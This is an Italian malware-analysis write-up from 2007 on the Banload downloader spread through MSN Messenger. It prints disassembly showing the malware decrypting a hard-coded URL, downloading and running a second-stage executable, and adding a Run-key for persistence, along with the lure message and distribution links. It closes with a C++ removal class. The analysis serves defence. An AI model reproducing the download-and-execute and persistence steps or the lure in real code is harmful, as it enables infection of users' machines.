Banload
From UIC
Banload Malware analisys
Contents |
| Infos | |
|---|---|
| Author: | Pnluck |
| Email: | pnluck@virgilio.it |
| Website: | http://pnluck.netsons.org |
| Date: | 07/02/2007 (dd/mm/yyyy) |
| Level: |
|
| Language: | Italian |
| Comments: |
Evviva IDA |
Introduzione
Analisi di un piccolo malware diffusosi attraverso MsnMessanger, tra i miei compagni di scuola, i quali leggendo ciò:
Da uma olhada nas fotos dessa festa muito legal
http://www.koolpages.com/fabianagb/ft09082.zip
e lo scaricavano O_o
Questo malware denominato da alcune case antivirus Banload o Generic-Downloader.3, sfrutta, come precedentemente detto, MsnMessanger per diffondersi, ed oltre a ciò, non fa nulla di compromettente, a meno che nn abbiate un account bancario ispanico.
Tools
- Ida
- OllyDbg
- UPX
- http://www.microsoft.com/windows/virtualpc/default.mspx: Free VirtualPc 2004
Essay
Il malware,packato con upx, era possibile scaricarlo da: http://www.koolpages.com/mysite2007/ref92302.zip (ora e' stato rimosso), e quindi, bastava fare un semplice upx -d file.exe per unpackarlo.
Il malware inizialmente controlla se è già stato avviato tramite l'uso dei Mutex:
call ProcDecriptName
mov eax, [ebp+var_14]
call unknown_libname_26 ; Borland Visual Component Library & Packages
push eax ; lpName
push 0 ; int
push 0 ; lpMutexAttributes
call ProcCreateMutex
call GetLastError
test eax, eax
jnz loc_412F81
Se esiste solo un istanza del processo, il processo continua, altrimenti viene chiuso.
ProcDecriptName: questa procedura è usato in tutto il programma, per decriptare le stringhe, quindi la vedrete ogni qual volta occorra lavorare su path di file.
lea eax, [ebp+var_1C]
call ProcGetSystemDir
push [ebp+var_1C] ; "%systemdir"
push offset unknown_libname_124 ; Delphi 3 Visual Component Library
lea edx, [ebp+var_20]
mov eax, offset dword_412FD4
call ProcDecriptName
push [ebp+var_20] ; "icpldrvx.js"
lea eax, [ebp+var_18]
mov edx, 3
call ProcStrCat
mov eax, [ebp+var_18]
call DelFile
lea eax, [ebp+var_28]
call ProcGetSystemDir
push [ebp+var_28]
push offset unknown_libname_124 ; Delphi 3 Visual Component Library
lea edx, [ebp+var_2C]
mov eax, offset dword_412FE8
call ProcDecriptName
push [ebp+var_2C] ; "icpldrvx.exe"
lea eax, [ebp+var_24]
mov edx, 3
call ProcStrCat
mov eax, [ebp+var_24]
call ProcGetFileData
test al, al
jnz loc_412F81
Con DelFile viene cancellato icpldrvx.js dal systdir, se questo esiste, e con ProcGetFileData viene controllata la presenza di icpldrvx.exe, e se esiste il processo viene terminato. Dopo ciò il malware fa il suo lavoro principale, scaricare il vero malware:
lea eax, [ebp+var_34]
call ProcGetSystemDir
push [ebp+var_34]
push offset unknown_libname_124 ; Delphi 3 Visual Component Library
lea edx, [ebp+var_38]
mov eax, offset dword_412FD4
call ProcDecriptName
push [ebp+var_38]
lea eax, [ebp+var_30]
mov edx, 3
call ProcStrCat
mov eax, [ebp+var_30] ; "C:\WINDOWS\system32\icpldrvx.js"
push eax
lea edx, [ebp+var_3C]
mov eax, ds:dword_41588C
call ProcDecriptName
mov eax, [ebp+var_3C] ; "http://www.anajulia10.xpg.com.br/ana/documento.doc"
pop edx
call ProcDownloadFile
test al, al
jz loc_412F2E
Nella procedura ProcDownloadFile viene usato URLMON.DLL!URLDownloadToFileA per scarica il file, che successivamente verà rinominato .exe. Continuiamo con l'analisi
call unknown_libname_26 ; Borland Visual Component Library & Packages
push eax ; lpCmdLine
call WinExec
call ProcSetRunKey
jmp loc_412F71
Come vedete, il malware appena scaricato viene eseguito e poi viene chiamata ProcSetRunKey, per far eseguire questo programma ad ogni avvio.
Il file icpldrvx.exe, non lo descrivo qui, anche perchè non fa altro che controllare la title-bar di IE, e la presenza di una finestra del Messanger con FindWindow, e poi usare un hook della tastiera, per aspettare il momento giusto(chiamiamolo così) per sendare l'esca, all'utente con cui si sta chattando.
Ora nn resta che scrivere un banale file-remover
{
private:
static int n;
TCHAR szProcessName[MAX_PATH];
TCHAR szModName[MAX_PATH];
DWORD nProcess[1024];
DWORD nByteOfProc, nOfProcesses, PID;
DWORD cbNeeded;
HANDLE hProcess;
HMODULE hMod;
HKEY Key;
public:
bool CloseProcess(); //ricava la path di un processo
bool DeleteFile(); //cancellazione del file
bool DeleteKey(); //cancellazione della key nel registro
};
bool BanlistRemove::CloseProcess()
{
if(!EnumProcesses(nProcess, //riceve la lista dei processi
sizeof(nProcess), //grandezza dell'array di recapito
&nByteOfProc)) // dove vengono riportati i byte
{return false;}
nOfProcesses = nByteOfProc / sizeof(DWORD);
for (DWORD i = 0; i < nOfProcesses; i++ )
{
// Get a handle to the process.
hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, nProcess[i] );
// Get the process name.
if (NULL != hProcess )
{
if (EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
{
GetModuleBaseName(hProcess, hMod,
szProcessName,sizeof(szProcessName)/sizeof(TCHAR));
}
}
//Has it find the right process?
if(!_tcscmp(szProcessName,_T("icpldrvx.exe")))
{
//It close the process
if(!TerminateProcess(hProcess,0)) return false;
CloseHandle(hProcess);
return true;
}
CloseHandle(hProcess);
}
return false;
}
bool BanlistRemove::DeleteFile()
{
//Delete icpldrvx
GetSystemDirectory( szModName, MAX_PATH );
_tcscat(szModName, _T("\\icpldrvx.exe"));
if(!::DeleteFile(szModName))return false;
//Delete ref92302
GetCurrentDirectory(MAX_PATH, szModName);
_tcscat(szModName, _T("\\ref92302.exe"));
if(!::DeleteFile(szModName))return false;
return true;
}
bool BanlistRemove::DeleteKey()
{
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,_T("Software\\Microsoft\\Windows\\CurrentVersion\\run"),
0,KEY_WRITE,&Key)!= ERROR_SUCCESS)return false;
if(RegDeleteKey(Key,_T("Msconfig"))!=ERROR_SUCCESS) return false;
RegCloseKey(Key);
return true;
}
//How to use this class:
//Attention!! You should use this one, in the folder where there’s ref92302
BanlistRemove VirRemove;
VirRemove.CloseProcess();
VirRemove.DeleteFile();
VirRemove.DeleteKey();
Note Finali
Per favore nn cliccate su ogni link che vi compare sul Messanger o in qualsiasi altro posto, se nn siete certi della provenienza
Pn[L]uck
Disclaimer
I documenti qui pubblicati sono da considerarsi pubblici e liberamente distribuibili, a patto che se ne citi la fonte di provenienza. Tutti i documenti presenti su queste pagine sono stati scritti esclusivamente a scopo di ricerca, nessuna di queste analisi è stata fatta per fini commerciali, o dietro alcun tipo di compenso. I documenti pubblicati presentano delle analisi puramente teoriche della struttura di un programma, in nessun caso il software è stato realmente disassemblato o modificato; ogni corrispondenza presente tra i documenti pubblicati e le istruzioni del software oggetto dell'analisi, è da ritenersi puramente casuale. Tutti i documenti vengono inviati in forma anonima ed automaticamente pubblicati, i diritti di tali opere appartengono esclusivamente al firmatario del documento (se presente), in nessun caso il gestore di questo sito, o del server su cui risiede, può essere ritenuto responsabile dei contenuti qui presenti, oltretutto il gestore del sito non è in grado di risalire all'identità del mittente dei documenti. Tutti i documenti ed i file di questo sito non presentano alcun tipo di garanzia, pertanto ne è sconsigliata a tutti la lettura o l'esecuzione, lo staff non si assume alcuna responsabilità per quanto riguarda l'uso improprio di tali documenti e/o file, è doveroso aggiungere che ogni riferimento a fatti cose o persone è da considerarsi PURAMENTE casuale. Tutti coloro che potrebbero ritenersi moralmente offesi dai contenuti di queste pagine, sono tenuti ad uscire immediatamente da questo sito.
Vogliamo inoltre ricordare che il Reverse Engineering è uno strumento tecnologico di grande potenza ed importanza, senza di esso non sarebbe possibile creare antivirus, scoprire funzioni malevoli e non dichiarate all'interno di un programma di pubblico utilizzo. Non sarebbe possibile scoprire, in assenza di un sistema sicuro per il controllo dell'integrità, se il "tal" programma è realmente quello che l'utente ha scelto di installare ed eseguire, né sarebbe possibile continuare lo sviluppo di quei programmi (o l'utilizzo di quelle periferiche) ritenuti obsoleti e non più supportati dalle fonti ufficiali.